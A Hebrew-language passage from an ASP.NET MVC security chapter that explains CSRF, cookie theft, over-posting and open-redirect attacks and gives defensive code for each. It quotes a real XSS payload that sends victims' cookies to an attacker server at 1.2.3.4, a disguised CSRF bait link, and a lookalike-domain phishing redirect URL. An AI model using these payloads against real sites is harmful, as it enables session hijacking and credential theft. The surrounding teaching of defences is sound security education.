הדפדפן שביצע את הפעולה שייך לקורבן . כאן ברווח מזומן מחשבון הבנק של הלקוח הקורבן
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בהנחה שהוא דאג לחשבונות ( לפורץ אפשר לקשר את הפעולה-ולכן אי, המושלם שלנו
 !כמעט פשע מושלם). למשל, בהאמהמזויפים באיי 

העקרונות שהצגנו . פשוטות" GETבקשות /תגיות תמונה"התקפה זה אינה מוגבלת לתחבולות 
ניתנים ליישום גם על ידי מפיצי דואר זבל ששולחים קישורים מזויפים לעשרות אלפי אנשים 

בדומה לרוב המתקפות (על הקישור ויגיעו לאתר שלהם בתקווה שכמה מהם ילחצו 
וכאשר הם , המטרה במתקפות אלו היא לגרום למשתמשים ללחוץ על הקישור). האוטומטיות

 סודי או קטע של תסריט קוד משמשים לשליחה אוטומטית של iFRAMEאזי , מגיעים לאתר
אם אתם . ספיםאל הבנק בניסיון לבצע את העברת הכ) HTTP POSTבאמצעות (הטופס 

, מתאים-כלשהו ונכנסתם לחשבונכם בזמן הלא-משתייכים לקהל הלקוחות של בנק גדול
 . המתקפה הזו תצליח

 תגובה נוספת אחת -נחזור לתגובת הפורום שמנצלת את הסקרנות האנושית אשר הצגנו קודם 
 . תוכל להספיק לשם ביצוע מוצלח של ההתקפה הנוספת שתיארנו

אפילו . הזוי לגמרי? 50ושב הוא -סכום הספרות של חשבון עוברוידעתם ש! זה נכון
 : כתבו על זה בעיתון

<a href="http://badnastycsrfsite.example.com">CNN.com</a> 

 !ממש מוזר

 צריך רק להוסיף את הקישור להודעה ולקוות - XSS-במקרה זה אפילו אין צורך להשתמש ב
כלשהו ולאחר מכן ימשיך לדף -ון שלו בבנק גדוליכנס לחשבי(שמישהו יבלע את הפיתיון 

 ).http://badnastycsrfsite.example.comף בכתובת המזוי

 CSRFמניעת מתקפות 

!  ובמידה מסוימת אתם צודקים-אתם עשויים לחשוב שהתשתית אמורה לטפל בדברים כאלה 
הדבר ומאפשרת לעשות את ,  מספקת לכם את האמצעים לעשות זאתASP.NET MVCתשתית 

 . אך האחריות הסופית לאבטחת האתר שלכם מוטלת עליכם, הנכון

 )Token Verification(אימות באמצעות אסימונים 

טכניקה זו פותחה לאור . CSRF מספקת דרך יעילה למניעת מתקפות ASP.NET MVCתשתית 
. ההבנה שיש צורך לבדוק שהמשתמש ששלח את הנתונים לאתר באמת רצה לעשות זאת

. פשוטה ביותר היא להטמיע בכל בקשת טופס אלמנט קלט מוסתר שמכיל ערך ייחודיהדרך ה
 :  על ידי הוספת הקוד שלהלן לכל טופסHTMLהדבר מתבצע באמצעות סייעי 

<form action="/account/register" method="post"> 

@Html.AntiForgeryToken() 

... 

</form> 

 : ך מוצפן באלמנט קלט מוסתר מפיק ערHtml.AntiForgeryTokenהסייע 

<input type="hidden" value="012837udny31w90hjhf7u"> 
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כאשר . בדפדפן של המשתמש) session cookie(בעוגייה לערך נוסף שמאוחסן זהה ערך זה 
 ): ActionFilter(מבוצעת השוואה בין הערכים באמצעות מסנן פעולה , הטופס נמסר

[ValidateAntiforgeryToken] 

public ActionResult Register(…) 

בדוגמה הקודמת ראינו כיצד .  אך לא את כולן- CSRFבדרך  זו ניתן למנוע את רוב מתקפות 
גישת אסימוני האבטחה תטרפד את . משתמשים יכולים להירשם באופן אוטומטי לאתר שלכם

סים לבצע אך לא תעצור את הרובוטים שמנ,  שלכםRegister על השיטה CSRFרוב מתקפות 
בהמשך הפרק . את המשתמשים באתר שלכם) ולאחר מכן להציף בספאם(הרשמה אוטומטית 

 . נציג מספר דרכים לצמצם היקף המתקפות מהסוג זה

  אדימפוטנטיותGETבקשות 

פעולה אדימפוטנטית הינה .  אבל העיקרון שמאחוריה פשוט- idempotent" גדולה"מילה 
תוכלו למנוע קטגוריה , באופן כללי. ללא שינוי בתוצאהפעולה שניתנת לביצוע שוב ושוב 

 אם תבצעו שינויים בבסיס הנתונים ובאתר שלכם באמצעות בקשות CSRFשלמה של מתקפות 
POST .הדבר , לכל הפחות. 'יציאה מהחשבון וכו, כניסה לחשבון, רישום חשבון חדש, כלומר

 . confused deputy -יביא לצמצום בהיקף התקפות מסוג ה

 HttpReferrerאימות 

ניתן לביצוע באמצעות מסנן פעולה שמכיל קוד שמאפשר לבדוק אם  HttpReferrerאימות 
 : ערכי הטופס שנמסרו אכן מגיעים מהאתר שלכם

public class IsPostedFromThisSiteAttribute : AuthorizeAttribute 

{ 

 public override void OnAuthorize(AuthorizationContext filterContext) 

 { 

  if (filterContext.HttpContext != null) 

  { 

   if (filterContext.HttpContext.Request.UrlReferrer == null) 

     throw new System.Web.HttpException("Invalid submission"); 

 

   if (filterContext.HttpContext.Request.UrlReferrer.Host != 

     "mysite.com") 

       throw new System.Web.HttpException 

      ("This form wasn't submitted from this site!"); 

  } 

 } 

} 

 : כמוצג להלן, Registerתוכלו להחיל את המסנן הזה על השיטה 
[IsPostedFromThisSite] 

public ActionResult Register(…) 
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 וזה בדיוק העיקרון שעליו - CSRFנות להתמודד עם מתקפות יש דרכים שו, כפי שראינו
ולבחור באפשרות המתאימה , עליכם להכיר את האפשרויות השונות. MVCמבוססת תשתית 

 . ביותר עבורכם ועבור האתר שלכם

 גניבת עוגיות : האיום

רוב אתרי . הן חלק חשוב במכלול אמצעים שמקנים לרשת שמישות) cookies(עוגיות 
ללא . רנט משתמשים בעוגיות לזיהוי המשתמשים לאחר השלמת הכניסה לחשבוןהאינט
. חווית הגלישה הייתה הופכת לרצף בלתי פוסק של שדות של שם משתמש וסיסמה, עוגיות
 .  שיצליח לגנוב עוגיות יוכל במקרים רבים להתחזות למשתמש שלו הן שייכותההאקר

לכם למנוע שימוש בעוגיות באתר מסוים אתם יכולים להגדיר לדפדפן ש, בתור משתמשים
עליכם להתיר ", סביר להניח שתתקלו בהערה בסגנון, עם זאת. כדי למזער את הסיכוי לגניבתן

 ". שימוש בעוגיות כדי להשתמש באתר זה

 . ונציג טכניקות למניעתה, מה ההשלכות שלה לגביכם, בסעיף זה נסביר מהי גניבת עוגיות

 הצגת האיום

חלק .  משתמשים בעוגיות כדי לשמור מידע בין בקשות דפים או פרקי גלישהאתרי אינטרנט
עוגיות . מהמידע הזה שגרתי למדי ומכיל דברים כמו העדפות תצוגה והיסטוריית גלישה

 Formsכמו למשל , אחרות עשויות להכיל מידע שמאפשר לאתר לזהות אתכם בין בקשות

Authentication Ticket של ASP.NET . 

 :  שני סוגים של עוגיותקיימים

  זמניותעוגיות) session cookies( : עוגיות שנשמרות בזיכרון של הדפדפן ומצורפות
 . לכותרת של כל בקשה שנשלחת

  עוגיות קבועות)persistent cookies( : עוגיות שמאוחסנות בקבצי טקסט בדיסק
 . ונשלחות באותו אופן, הקשיח של המחשב

ואילו ,  נעלמות ברגע שפרק הגלישה מסתייםזמניותבכך שעוגיות  הוא ביניהןההבדל העיקרי 
 . את המשתמש בפעם הבאה שהוא מבקר בו" לזכור"עוגיות קבועות נשמרות ומאפשרות לאתר 

תוכלו לאמץ את הזהות , אם תצליחו לגנוב ממישהו את עוגיית האימות שלו עבור אתר מסוים
התחזות מסוג זה היא משימה פשוטה למדי . שלו ולבצע כל פעולה שהוא מורשה לבצע באתר

כדי לגנוב את העוגייה התוקף צריך להזריק תסריט . XSS אך לא ניתן לבצעה ללא פרְִצתַ -
 . אל אתר המטרה) קטע קוד(

האתר כאשר סיפר בבלוג שלו על מקרה שאירע  CodingHorror.comף אטווד מאתר 'ג
StackOverflow.com רצת ניסיוןבההיה , שהיה שותף לבנייתו: 
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תארו לעצמכם את הפתעתו של ידידי הטוב כאשר הבחין שמספר משתמשים שובבים 
באתר שלו מחוברים דרך חשבון המנהל שלו ועושים במערכת האתר ככל העולה על 

 :ראו. מסויגות שלו-רוחם באמצעות הרשאות הניהול הבלתי

http://www.codinghorror.com/blog/2008/08/protecting-your-cookieshttponly.html 

 :הכל התחיל עם קטע תסריט שנוסף לדף הפרופיל של משתמש.  כמובןXSSזהו ? איך זה קרה

<img src=""http://www.a.com/a.jpg<script type=text/javascript 

src="http://1.2.3.4:81/xss.js">" /><<img 

src=""http://www.a.com/a.jpg</script>" 

 דבר שמפתה ומזמין - מסוימות להערות HTML מתיר הוספת תגיות StackOverflow.comאתר ה
ף בבלוג שלו ממחישה בצורה מושלמת כיצד ניתן 'הדוגמה שהוצגה על ידי ג. XSSפורצי 

 . כגון הוספת צילום מסך להודעה, להזריק קטע תסריט קצר דרך ממשק תמים לכאורה

התוקף במקרה .  מנגנון שהוא כתב בעצמו- whitelist שמבוססת על XSSף השתמש בהגנת 'ג
 : במנגנון שלוניצל פרצה, הזה

הקוד .  מעוותת הצליחה לחדור מבעד למנגנוןURLכתובת , הודות לבנייה מחוכמת
הנה תסריט . טען והריץ תסריט מהשרת המרוחק, הסופי שעובד והוגש לדפדפן

JavaScriptשהורץ : 
window.location="http://1.2.3.4:81/r.php?u=" 

+document.links[1].text 

+"&l="+document.links[1] 

+"&c="+document.cookie; 

ישלח בעל ,  כל מי שיטען את דף פרופיל המשתמש עם התסריט המוזרק שלעיל-הבנתם נכון 
 !כורחו את עוגיות הדפדפן שלו אל שרת מרוחק שנמצא בשליטת התוקף

ובסופו של דבר , StackOverflow.comל משתמשי התוקף הצליח לגנוב את העוגיות ש, בקיצור
) שעדיין היה בגרסת בטא(זה איפשר לתוקף להתחבר לאתר . ף'גם את העוגיות של ג
 . פריצה ערמומית ביותר. ף ולעשות בו כל מה שהתחשק לו'באמצעות החשבון של ג

 HttpOnlyמניעה של גניבת עוגיות באמצעות 

 : שרה משתי סיבות התאפStackOverflow.comההתקפה על 

  פרצתXSS :ף התעקש לכתוב בעצמו קוד נוגד'ג-XSS .בדרך כלל זה אינו רעיון טוב ,
 וכלים נוספים כדי לאפשר למשתמשים BBCodeומומלץ תמיד להסתמך על אמצעים כגון 

 . XSSף יצר לעצמו פרצת 'ג, במקרה הזה. לעצב את התכנים שהם מעלים לאתר

 ִל העוגיות ש: ת עוגיותצַרְפStackOverflow.com לא הוגדרו באופן שאוסר על גישת 
 . תסריט מהדפדפן של הלקוח

: באפשרותכם למנוע גישת תסריט לכל העוגיות באתר שלכם על ידי הוספת דגל פשוט
HttpOnly . פעולה זו מבוצעת בקובץweb.config ,כמוצג להלן : 

<httpCookies domain="" httpOnlyCookies="true" requireSSL="false" /> 
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 : אתם יכולים גם להחיל את הדגל באופן פרטני על כל עוגייה שאתם יוצרים

Response.Cookies["MyCookie"].Value="Remembering you…"; 

Response.Cookies["MyCookie].HttpOnly=true; 

גדיר ינסה לה, מלבד השרת, הצבת הדגל מודיעה לדפדפן לבטל את תוקף העוגייה אם כל גורם
הוא מונע את רוב הסוגיות שעלולות , ותאמינו או לא, זהו עדכון פשוט וישיר. או לשנות אותה

מכיוון שרק לעתים נדירות נדרשת ביישומים . XSSלהיווצר עם עוגיות כתוצאה ממתקפות 
 .עליכם להשתמש באפשרות הזו כמעט תמיד, גישה לעוגיות באמצעות תסריט

 קלט-עודף: האיום

 היא כלי חזק שמפשט במידה משמעותית ASP.NET MVCשור למודל של תשתית אפשרות הקי
את תהליך הטיפול בקלט מהמשתמש באמצעות מיפוי אוטומטי של הקלט אל מאפייני המודל 

מנגנון הקישור למודל פותח וקטור תקיפה , עם זאת. על סמך המוסכמות של בחירת שמות
ערכים במאפייני מודל שבכלל לא הכנסתם נוסף ועלול לספק לתוקפים הזדמנויות להציב 

, מה ההשלכות שלה לגביכם, קלט-בסעיף זה נסביר מהי מתקפת עודף. לטופס הקלט שלכם
 . ונציג טכניקות למניעתה

 הצגת האיום

 עשויה לפתוח וקטור תקיפה נוסף ASP.NET MVCאפשרות הקישור למודל של תשתית 
מה לדף מוצר של חנות שמאפשר הנה דוג. )over-posting(קלט -עודףבאמצעות 

 :למשתמשים להוסיף ביקורות על המוצר
public class Review { 

 public int ReviewID { get; set; } // Primary key 

 public int ProductID { get; set; } // Foreign key 

 public Product Product { get; set; } // Foreign entity 

 public string Name { get; set; } 

 public string Comment { get; set; } 

 public bool Approved { get; set; } 

} 

והערה ) Name(שם : נספק למשתמש קובץ פשוט אשר חושף בפניו שני שדות בלבד
)Comment :( 

Name: @Html.TextBox("Name") <br /> 

Comment: @Html.TextBox("Comment") 

איננו מצפים שהמשתמש יוכל לאשר באופן , בטופס רק את השדות שם והערהמכיוון שחשפנו 
 עוין יכול האקר, עם זאת) . Approved במאפיין trueעל ידי הצבת ערך (עצמאי את הערה שלו 

 "Approved=true"על ידי הוספת ) form post(בקלות לשנות את הטופס שנמסר לשרת 
. כאשר לרשותו מגוון כלי פיתוח זמינים, ברלמחרוזת השאילתה או לנתוני הטופס המוע

 במאפיין trueולא יהסס להציב ערך , שתמש אינו יודע איזה שדות נחשפו בטופסמה
Approved . 



 191   הרשאה ואבטחה,  רישום משתמשים:7פרק 

האקרים עלולים להציב , Product כוללת את המאפיין Reviewמכיוון שהמחלקה , גרוע מכך
ם יוכלו לשנות ערכים בטבלאות ה, ובמידה שיצליחו, Product.Priceערכים בשדות שונים כגון 

שבחלומות הגרועים ביותר שלכם לא האמנתם שמשתמשי קצה יוכלו להגיע אליהן ובוודאי 
 . שלא יוכלו לערוך בהן שינויים

 Bindקלט באמצעות מאפיין הסימון -מניעת עודף

 כדי להגדיר Bindקלט היא להשתמש במאפיין הסימון -מנוע עודףהדרך הפשוטה ביותר ל
ניתן למקם את .  מפורש באיזה מאפיינים רשאי המתקשר למודל להציב בהם ערכיםבאופן

 .  מעל מחלקת המודל או בפרמטר של פעולת בקרBindמאפיין הסימון 

 את כל השדות שמותרים לקישור  כדי לציין whitelistאתם יכולים להשתמש בגישת 
)[Bind(Include="Name, Comment")]( , או ליישם גישתblacklist ולכלול רק את השדות 

. )["Bind(Exclude="ReviewID, ProductID, Product, Approved](שאינכם מעוניינים שיקושרו 
הרבה יותר מאובטחת מכיוון שהרבה יותר קל לבדוק שכל  whitelistגישת , בדרך כלל

 מאשר לפרט את כל המאפיינים שאינכם ,המאפיינים שברצונכם לקשר מופיעים ברשימה
 בצורה שמאפשרת קישור של Reviewבקוד שלהן מודגם סימון של המחלקה . וצים לקשרר

 :  בלבדComment - וNameהמאפיינים 
[Bind(Include="Name, Comment")] 

public class Review { 

 public int ReviewID { get; set; } // Primary key 

 public int ProductID { get; set; } // Foreign key 

 public Product Product { get; set; } // Foreign entity 

 public string Name { get; set; } 

 public string Comment { get; set; } 

 public bool Approved { get; set; } 

} 

 TryUpdateModel או של UpdateModelאפשרות נוספת היא להשתמש בצורת העמסה של 
 :ה סגורה שנגדיר בדרך זואשר מצפה לרשימ

UpdateModel(review, "Review", new string[] { "Name", "Comment" }); 

ניתן לעשות . קלט היא להימנע מקישור ישיר למודל הנתונים-דרך נוספת להתמודד עם עודף
שכולל רק את המאפיינים שברצונכם לאפשר ) View Model(זאת על ידי שימוש במודל תצוגה 

 :הקלט-שימוש במודל התצוגה שלהלן יפתור את סוגיית עודף. להגדיר בעצמולמשתמש 

public class ReviewViewModel { 

 public string Name { get; set; } 

 public string Comment { get; set; } 

} 
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אשר " Input Validation vs. Model Validation"בשם מצוין פוסט פרסם בראד וילסון  הערה
הנחיות אלו נכתבו כאשר מאפייני . את סוגיות האבטחה שנובעות מביצוע אימות מודליםר סוק

תוכלו . אך הן ממשיכות להיות רלוונטיות גם היום, MVC 2האימות שוחררו לראשונה בגרסת 
 :לקרוא את הפוסט בכתובת

http://bradwilson.typepad.com/blog/2010/01/input-validation-vs-model-validation-in-
aspnet-mvc.html. 

 הפניית המשך פתוחה: האיום

, Account הבקר ל שInternet projectתבנית  בוצעו מספר שינויים בMVC3  התוכנהגרסתב
לאחר שנסביר . )open redirection ("הפניית המשך פתוחה"שמטרתם למנוע מתקפות מסוג 

קות למניעת מתקפות מסוג זה נציג מספר טכני, כיצד פועלת מתקפת הפניית המשך פתוחה
, MVC 3 בגרסה Accountבשינויים שנוספו לבקר גם נדון .  שלכםASP.NET MVCביישומי 

 .  הקיימות2 - ו1 בגרסאות  MVCונדגים כיצד ליישם את העדכונים הללו ביישומי 

 הצגת האיום

ל כמו למש,  שמוגדרות דרך הבקשהURLכל יישום אינטרנט שמפנה משתמשים לכתובות 
יכול באופן תיאורטי לאפשר לתוקפים לשנותו באופן , מחרוזת שאילתה או נתוני טופס

 מתקפות כאלה נקראיםשינויים . מזיקות חיצוניות URLלכתובות שיגרום להפניית משתמשים 
 . )open redirection attack (הפניית המשך פתוחה

עליכם לוודא ,  מוגדרתURLבכל פעם שלוגיקת התכנות של היישום מפנה משתמש לכתובת 
מנגנון הכניסה . שלא בוצעו שינויים בלתי מאושרים בכתובת שאליה מופנה המשתמש

 היו פגיעים למתקפות הפניית 2- ו1 בגרסאות  MVC הסטנדרטי של Accountלחשבון ובקר 
 כדוגמה שתאפשר לדעת 2- ו1 בגרסאות  MVCנציג תחילה את הפגיעות של. המשך פתוחה

 מתגוננות MVC של תשתית 4- ו3 ולאחר מכן נראה כיצד גרסאות ,המתקפהכיצד מתבצעת 
 . מפניה

 דוגמה פשוטה להפניית המשך פתוחה 

נבחן כיצד מתבצעת הפניית משתמשים לדף הכניסה לחשבון בתבנית , כדי להבין את האיום
Web Application הסטנדרטית של MVC 2 .שאת שנוכל ניסיון גישה לפעולת בקר , ביישום זה

. Account/LogOn/ יגרום להפניית משתמשים לא מאומתים אל התצוגה Authorizeמאפיין סימון 
 כדי לאפשר returnUrl כוללת פרמטר מחרוזת שאילתה בשם Account/LogOn/ זו לכתובת הפניה
 .  של המשתמש חזרה אל הכתובת המקורית לאחר שיתחבר לחשבונוהפניה

 על ידי Account/ChangePassword/גישה לתצוגה הון ניסיש ניתן לראות 7-20בתרשים 
 משתמש שאינו מחובר לחשבון גורם להפנייתו אל הכתובת 
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/Account/LogOn?ReturnUrl=%2fAccount%2fChangePassword%2f 

 

 7-20תרשים 

התוקף יכול להזריק לתוך ,  אינו מאומתReturnUrlמכיוון שהפרמטר של מחרוזת השאילתה 
אנחנו , לדוגמה.  שירצה לשם ביצוע מתקפת הפניית המשך פתוחהURLבת הנתיב כל כתו

 שאליה URLוכעת כתובת , /http://bing.com את הכתובת ReturnUrlיכולים להציב בפרמטר 
 המשתמש לשם כניסה לחשבון תהיה יופנה 

/Account/LogOn?ReturnUrl=http://www.bing.com/  

מכיוון . /http://bing.comמש ינותב לכתובת המשת, לאחר התחברות מוצלחת לחשבון
יכולנו באותה מידה להפנות את המשתמש לאתר עוין כדי להונות , שהפניה זו אינה מאומתת

 . אותו בצורה כלשהי

 דוגמה מתוחכמת יותר להפניית המשך פתוחה 

מכיוון שהתוקף יודע שהמשתמש , מתקפות מסוג הפניית המשך פתוחה מסוכנות במיוחד
, לדוגמה). phishing(ולכן הוא פגיע במיוחד להונאת פישינג , להתחבר לאתר מסויםמנסה 

בניסיון ללקט את , תוקף יכול לשלוח הודעות דואר אלקטרוני מזויפות למשתמשי אתר כלשהו
הפרצות באתר  (NerdDinnerנדגים כיצד תרמית הזו פועלת באתר . הסיסמאות שלהם

NerdDinnerאז אל תנסו, וע מתקפות הפניית המשך פתוחה האמיתי נחסמו כדי למנ .(! 

 עם הפניית המשך לדף NerdDinnerהתוקף שולח קישור לדף הכניסה לחשבון של , תחילה
 :המזויף

http://nerddinner.com/Account/LogOn?returnUrl=http://nerddiner.com/Account/LogOn 
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לאתר למעשה מקורי מפנה אותו  שאמורה להחזיר את המשתמש לדף הURLשימו לב שכתובת 
הדומיין הזה , בדוגמה שלנו). וזו למעשה הטעיה, אחת חסרה" nerddiner.com") nאחר בשם 

 לדף ההרשמה  תחילהקישור הזה יועברבאמצעות המשתמש שיופנה . התוקףנמצא בשליטת 
 . 7-21כמוצג בתרשים , nerddinner.com של נכוןה

 

 7-21תרשים 

 תפנה את Account של בקר LogOnהפעולה ,  לחשבון המשתמשלאחר השלמת הכניסה
או במקרה שלנו , returnUrl שמופיעה בפרמטר מחרוזת השאילתה URLהמשתמש לכתובת 

אם המשתמש . http://nerddiner.com/Account/LogOnקרי , שהוזנה על ידי התוקףהכתובת 
ביר להניח שאדם מן השורה אבל ס, בכתובת" n"אבחנה הוא יזהה את החסר באות -הינו חד

במיוחד אם התוקף גם יקפיד על יצירת דף שנראה בדיוק כמו דף , כלל לא ישים לב להבדל
והמשתמש יתבקש , בדף של התוקף תופיע הודעת שגיאה. הכניסה לחשבון של האתר המקורי

המשתמש התמים יחשוב . 7-22כמוצג בתרשים , להזין את פרטי החשבון שלו פעם נוספת
 . תקלה שכיחה למדי ויקליד אותה לשמחת התוקף,  הזין סיסמה שגויהשהוא

דף הכניסה לחשבון המזויף ישמור , כאשר המשתמש יזין שוב את שם המשתמש והסיסמה שלו
בשלב זה המשתמש כבר מאומת .  האמיתיNerdDinner.comאתר חזיר אותו אל ויאת המידע 

 יכול להפנות את המשתמש ישירות לדף ולכן דף ההרשמה המזויף, NerdDinner.comבאתר 
המשתמש ממשיך בגלישה אבל התוקף מחזיק בידו כעת , בסופו של דבר. המקורי שממנו יצא

 . מבלי שהוא יהיה מודע לכך, את שם המשתמש והסיסמה של הקורבן
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 7-22תרשים 

  Account של בקר LogOnסקירת הקוד הפגיע בפעולה 

שימו לב . MVC 2 ביישומי LogOn את הקוד של הפעולה בקטע הקוד שלהלן תוכלו למצוא
ניתן לראות . returnUrl לכתובת Redirectהבקר מחזיר , שלאחר התחברות מוצלחת לחשבון

 . returnUrlשלא מבוצע כל אימות של ערך הפרמטר 
[HttpPost] 

public ActionResult LogOn(LogOnModel model, string returnUrl) 

{ 

 if (ModelState.IsValid) 

 { 

  if (MembershipService.ValidateUser(model.UserName, model.Password)) 

  { 

   FormsService.SignIn(model.UserName, model.RememberMe); 

   if (!String.IsNullOrEmpty(returnUrl)) 

   { 

    return Redirect(returnUrl); 

   } 

   else 

   { 

    return RedirectToAction("Index", "Home"); 

   } 

  } 
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  else 

  { 

   ModelState.AddModelError("", 

    "The user name or password provided is incorrect."); 

  } 

 } 

 // If we got this far, something failed, redisplay form 

 return View(model); 

} 

הקוד החדש קורא לפונקצייה . MVC 4 של Loginלפעולה שימו לב לשינויים שנוספו 
RedirectToLocal , מאפיין שמאוחסנת באשר מאמתת את הכתובתreturnUrl באמצעות קריאה 

 :System.Web.Mvc.Urlמהמחלקה  ()IsLocalUrlלשיטה 
// 

// POST: /Account/Login 

 

[HttpPost] 

[AllowAnonymous] 

[ValidateAntiForgeryToken] 

public ActionResult Login(LoginModel model, string returnUrl) 

{ 

 if (ModelState.IsValid && WebSecurity.Login( 

  model.UserName, model.Password, persistCookie: model.RememberMe)) 

 { 

  return RedirectToLocal(returnUrl); 

 } 

 

 // If we got this far, something failed, redisplay form 

 ModelState.AddModelError("", 

  "The user name or password provided is incorrect."); 

 return View(model); 

} 

 

private ActionResult RedirectToLocal(string returnUrl) 

{ 

 if (Url.IsLocalUrl(returnUrl)) 

 { 

  return Redirect(returnUrl); 

 } 

 else 

 { 

  return RedirectToAction("Index", "Home"); 

 } 

} 
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 2- ו1 בגרסאות  ASP.NET MVCהגנה על יישומי 

 על MVC 4 - וMVC 3 בגרסאות Accountבאפשרותכם להשתמש בעדכונים שנוספו לבקר 
 ()IsLocalUrlשיטת הסיוע  קיימים שיצרתם בעבר על ידי הוספת MVC 2 - וMVC 1יישומי 
 . returnUrl לביצוע אימות של הפרמטר LogOnן הפעולה ועדכו

מכיוון שגם , System.Web.WebPages קורא לשיטה של ()URL IsLocalUrl הסייע, למעשה
 :  נעשה שימוש בסוג זה של אימותASP.NET Web Formsביישומי 

public bool IsLocalUrl(string url) { 

 return System.Web.WebPages.RequestExtensions.IsUrlLocalToHost( 

  RequestContext.HttpContext.Request, url); 

} 

 : כפי שמוצג להלן,  היא זו שמכילה את הקוד של מהלך האימותIsUrlLocalToHostהשיטה 

public static bool IsUrlLocalToHost(this HttpRequestBase request, string url) 

{ 

 return !url.IsEmpty() && 

  ((url[0] == '/' && (url.Length == 1 || (url[1] != '/' && url[1] != '\\'))) || 

   // "/" or "/foo" but not "//" or "/\" 

  (url.Length > 1 && url[0] == '~' && url[1] == '/')); 

   // "~/" or "~/foo" 

} 

אך מומלץ , Accountלבקר  ()IsLocalUrlנוסיף את השיטה , 2- ו1 בגרסאות MVCביישומי 
אנחנו מציעים להוסיף שני עדכונים . להוסיפה למחלקת סיוע נפרדת כאשר הדבר מתאפשר

 : AccountController כדי שתפעל כהלכה בתוך ()IsLocalUrl של ASP.NET MVC 3 הלגרסקטנים 

 מכיוון ששיטות ציבוריות בבקרים ניתנות , הפכו אותה משיטה ציבורית לשיטה פרטית
 . לגישה כפעולות בקר

  שבודקת את המארח שנו את הקריאה)host (של ה-URLמול המארח של היישום  .
במקום . UrlHelper מקומי במחלקה RequestContextהקריאה הזו משתמשת בשדה 

 השתמשו בשדה ,this.RequestContext.HttpContext.Request.Url.Hostלהשתמש בשדה 
this.Request.Url.Host. 

 המעודכנת לשימוש במחלקות הבקר של יישומי ()IsLocalUrl שלהן מוצגת שיטת בקוד
ASP.NET MVC  2- ו1 בגרסאות . 

//Note: This has been copied from the System.Web.WebPages RequestExtensions 

class private bool IsLocalUrl(string url) 

{ 

 if (string.IsNullOrEmpty(url)) 

 { 

  return false; 

 } 

 Uri absoluteUri; 
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 if (Uri.TryCreate(url, UriKind.Absolute, out absoluteUri)) 

 { 

  return String.Equals(this.Request.Url.Host, 

   absoluteUri.Host, StringComparison.OrdinalIgnoreCase); 

 } 

 else 

 { 

  bool isLocal = !url.IsEmpty() && 

   ((url[0] == '/' && (url.Length == 1 || 

   (url[1] != '/' && url[1] != '\\'))) || 

   (url.Length > 1 && url[0] == '~' && url[1] == '/')); 

  return isLocal; 

 } 

} 

 לצורך LogOnנוכל לקרוא לה מתוך הפעולה ,  מוכנה לפעולה()IsLocalUrlשהשיטה כ, כעת
 : כמוצג בקוד שלהלן,returnUrlאימות הפרמטר 

[HttpPost] 

public ActionResult LogOn(LogOnModel model, string returnUrl) 

{ 

 if (ModelState.IsValid) 

 { 

  if (Membership.ValidateUser(model.UserName, model.Password)) 

  { 

   FormsAuthentication.SetAuthCookie(model.UserName, model.RememberMe); 

   if (Url.IsLocalUrl(returnUrl)) 

   { 

    return Redirect(returnUrl); 

   } 

   else 

   { 

    return RedirectToAction("Index", "Home"); 

   } 

  } 

  else 

  { 

   ModelState.AddModelError("", 

    "The user name or password provided is incorrect."); 

  } 

 } 

 

 // If we got this far, something failed, redisplay form 

 return View(model); 

} 

: חיצוניתננסה לבצע הרשמה עם כתובת המשך . עכשיו נבחן מתקפת הפניית המשך פתוחה
/Account/LogOn?ReturnUrl=http://www.bing.com/ . ניתן לראות את מסך 7-23בתרשים 

ואשר אמורה לגרום לדפדפן להפנות את , ההמשך שהזנוהכניסה לחשבון עם כתובת 
 . המשתמש לאתר אחר לאחר הכניסה לחשבון שרצה בו
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 7-23תרשים 

 במקום Home/Indexפעולת הבקר  אל המשתמש מופנה, הכניסה לחשבוןמהלך לאחר השלמת 
 . 7-24כפי שמוצג בתרשים ,  החיצוניתURLלהיות מופנה לכתובת 

 

 7-24תרשים 
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 פעולות נוספות לאחר זיהוי ניסיון לביצוע הפניית המשך פתוחהנקיטת 

 לבצע מספר פעולות נוספות לאחר זיהוי של הפניית המשך LogOnניתן לגרום לפעולה 
ניתן לתעד את הניסיון כאירוע אבטחה באמצעות ספריית התיעוד החינמית , למשל. פתוחה
ELMAH .ניסה לחשבון כדי להודיע למשתמש אפשר להציג נוסח מיוחד של הודעת כ, לחלופין

כלול , הקוד שעושה זאת. אך ייתכן שהוא הופנה לאתר עוין, שהוא אמנם נכנס לחשבונו
 :LogOn של הפעולה elseבבלוק 

[HttpPost] 

public ActionResult LogOn(LogOnModel model, string returnUrl) 

{ 

 if (ModelState.IsValid) 

 { 

  if (MembershipService.ValidateUser(model.UserName, model.Password)) 

  { 

   FormsService.SignIn(model.UserName, model.RememberMe); 

   if (IsLocalUrl(returnUrl)) 

   { 

    return Redirect(returnUrl); 

   } 

   else 

   { 

    // Actions on for detected open redirect go here. 

    string message = string.Format( 

      "Open redirect to to {0} detected.", returnUrl); 

    ErrorSignal.FromCurrentContext().Raise( 

      new System.Security.SecurityException(message)); 

    return RedirectToAction("SecurityWarning", "Home"); 

   } 

  } 

  else 

  { 

   ModelState.AddModelError( 

     "", "The user name or password provided is incorrect."); 

  } 

 } 

 

 // If we got this far, something failed, redisplay form 

 return View(model); 

} 

 : RedirectToLocalפעולות התיעוד הנוספות מטופלות בשיטה , MVC 4ביישומי 

private ActionResult RedirectToLocal(string returnUrl) 

{ 

 if (Url.IsLocalUrl(returnUrl)) 

 { 
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  return Redirect(returnUrl); 

 } 

 else 

 { 

  // Actions on for detected open redirect go here. 

  string message = string.Format( 

    "Open redirect to to {0} detected.", returnUrl); 

  ErrorSignal.FromCurrentContext().Raise( 

    new System.Security.SecurityException(message)); 

  return RedirectToAction("SecurityWarning", "Home"); 

 } 

} 

  סיכום-הפניית המשך פתוחה 

ות כפרמטרים מתקפות הפניית המשך פתוחה עשויות להתרחש כאשר כתובות המשך מועבר
 של התשתית מכילות קוד 4- ו3  תבניות יישומי האינטרנט בגרסאות. של היישוםURLבכתובת 

לאחר מספר , באפשרותכם להשתמש בקוד הזה. שמונע מתקפות הפניית המשך פתוחה
כדי להתגונן מפני מתקפת .  קיימים2- ו1גם כדי להגן על יישומים בגרסאות , עדכונים קלים

 השיטאת ההוסיפו , 2- ו1ם מגרסאות כניסה לחשבון ביישומיתוחה בעת הפניית המשך פ
IsLocalUrl() ואמתו את הפרמטר returnUrl בפעולה LogOn . 

 דיווח שגיאות מאובטח
 customErrors>ה הגדרמופעלים לייצור כאשר הם כוללים את אתרים ,  די קרובותלעתים

mode="off"> בקובץ web.config .ועל כן בחרנו , ם עושים את הטעות הזויותר מדי מפתחי
